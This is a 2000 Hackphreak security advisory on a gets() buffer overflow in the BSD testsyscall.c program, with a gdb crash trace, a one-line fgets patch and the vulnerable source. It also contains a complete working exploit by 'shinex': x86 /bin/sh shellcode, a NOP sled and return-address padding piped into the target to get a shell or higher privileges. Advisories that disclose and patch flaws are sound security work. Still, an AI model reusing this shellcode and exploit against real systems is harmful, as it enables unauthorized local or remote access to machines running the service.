HP1 advisory - /usr/share/lkm/test/testsyscall.c for *BSD is vulnerable to a buffer overflow attack. When testsyscall is running via inetd, remote users can execute arbitrary commands. Includes problem discussion and exploit code.
224706259258908584a204bc34ac7d262798b04010de5d56197521e3123dd95c
- HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % -
| www.hackphreak.org |
| |
| Version : Hackphreak advisory #1 of many |
| Author : RLoxley |
| Contributed : shinex@suburbs.net |
| Topic : A user may become that of another user via "testsyscall" |
| Or gain remote access via "testsyscall" |
| Program : /usr/share/lkm/test/testsyscall.c - testsyscall |
| Released : June the 9th, 2000 |
| Credits : www.hackphreak.org, www.condemned.org, EHAP, PARSE, |
| our friends at packetstorm :) |
| Corrected : See below. |
| Vender status : Notified |
- HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % HP1 advisory % -
Preface:
--------
I, RLoxley, am writing this advisory. It was not my intention
to release an actual working exploit with this advisory. Although, my
friend shinex (currently working his way up team hackphreak ;) hey xf0rce!)
insisted on including one. I, do not endorse script kiddism, please read
some of my ethics articles at hackphreak.org (hackphreak.org/newbie).
"Ethics can take you a long long way" -- RLoxley
Background information:
-----------------------
"testsyscall" was written to test out a special syscall LKM -
(LOADABLE KERNEL MODULE). It can be piped via the "inetd" daemon, or run
as regular.
Problem description:
--------------------
testsyscall uses standard input, it parses a system call number,
and executes that syscall with the syscall() function. The syscall number,
in the test, is that of the loaded module's syscall entry. When reading
standard input from the user, testsyscall DOES NOT CHECK bounds. The
internal buffer that data is copied to, is only 80 bytes. gets() returns
when a newline is encountered. A malicious use can write a trivial exploit
within a matter of a few minutes. By typing input longer than 80 bytes, one
can overflow the internal buffer. By supplying specially crafted shellcode,
one can exploit testsyscall.
# ./testsyscall
Table offset as reported by modstat: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Bad system call (core dumped)
# gdb ./testsyscall ./testsyscall.core
GNU gdb 4.17
#0 0x40019c11 in ?? () from /usr/lib/libc.so.12.40
(gdb) bt
#0 0x40019c11 in ?? () from /usr/lib/libc.so.12.40
#1 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)
As you can see, we've completely over written the Program Counter.
Here is where the vulnerability is encountered
* $NetBSD: testsyscall.c,v 1.2 1997/10/13 11:20:53 lukem Exp $
*/
#include <stdio.h>
main()
{
char buf[ 80];
int err = 0;
printf( "Table offset as reported by modstat: ");
if( gets( buf) == NULL) {
printf( "[ABORT]\n");
exit( 1);
}
For an in-depth analysis of gets(), look below. Notice how gets() is being
used very unsafe. I can't believe developers at OpenBSD, NetBSD, FreeBSD,
would allow such an idiotic programming error. Maybe Team Hackphreak
could participate in your ports auditing mission ;).
Problem description of gets():
------------------------------
gets() is very unsafe. gets() does not check the length of the input
against the internal buffer memory area. A secure programmer should use
fgets(), or fgetc() in a loop().
Impact:
-------
A malicious user may gain access to a xBSD server remotly, if
testsyscall is running off inetd.
A malicious user may crash the testsyscall service if running off
of inetd.
A malicious user may gain higher level access than which he or she
has had before by exploiting testsyscall.
Please do not assume a 'malicious user' means someone trusted on
the system. This testsyscall vulnerabilty can be used in the
'hacker-walk-the-chain' penetration method.
Also, one may crash the server, via giving the input a non-number,
which will cause a system call crash core dump.
Workaround:
-----------
Install the patch below.
# cat hp_testsyscall_patch.diff
49c49
< if( gets( buf) == NULL) {
---
> if( fgets( buf, 50, stdin) == NULL) {
Exploit:
--------
In such a short notice, shinex put this together. We thank him
from team hackphreak.
// testsyscall.c exploit by shinex
// made for rlox
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char shellcode[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}
void main(int argc, char **argv)
{
FILE * pi;
char *buf,*p;
unsigned long *adr;
int i,off;
if(argc < 2)
{
puts("usage, testsyscallexploit \"path_to_testsyscall\" \"optional_offset\"");
exit(-1);
}
if (argc>2)
off=atoi(argv[2]);
else off=4;
printf("using buffer delta:%d\n",off);
if((p = buf = malloc(2268+28+off))==NULL)
exit(-1);
memset(p, 0x90, 2268+off);
p += 2268+off - strlen(shellcode);
for(i = 0; i < strlen(shellcode); i++)
*p++ = shellcode[i];
adr = (long *)p;
for(i = 0; i < 7; i++)
*adr++ = get_esp();
p = (char *)adr;
*p = 0;
pi = popen(argv[1], "w");
if(pi == NULL) {
perror("popen");
exit(-1);
}
*p = '\n';
*(p+1) = '\0';
if(fwrite(buf, strlen(buf), 1, pi)<0)
{
perror("fwrite");
exit(-1);
}
//execl(argv[1], argv[1],buf, NULL);
}
Source:
-------
To examine and learn
/*
* testsyscall.c
*
* Test program to call the sample loaded system call.
*
* 23 May 93 Terry Lambert Original
*
*
* Copyright (c) 1993 Terrence R. Lambert.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Terrence R. Lambert.
* 4. The name Terrence R. Lambert may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY TERRENCE R. LAMBERT ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE TERRENCE R. LAMBERT BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $Id: testsyscall.c,v 1.1.1.1 1995/10/18 08:44:21 deraadt Exp $
*/
#include <stdio.h>
main()
{
char buf[ 80];
int err = 0;
printf( "Table offset as reported by modstat: ");
if( gets( buf) == NULL) {
printf( "[ABORT]\n");
exit( 1);
}
if( err = syscall( atoi( buf) /* no arguments*/))
perror( "syscall");
exit( err);
}
/*
* EOF -- This file has not been truncated
*/
GREETS:
-------
team hackphreak, EHAP, condemnation, lore, shinex, rhino9, and of
course, packetstorm
TO HELL WITH YOU'S:
-------------------
Paedophiles, rascists, all of #kkk on undernet, all the people who
disturb my channel, BoW, frys / prophet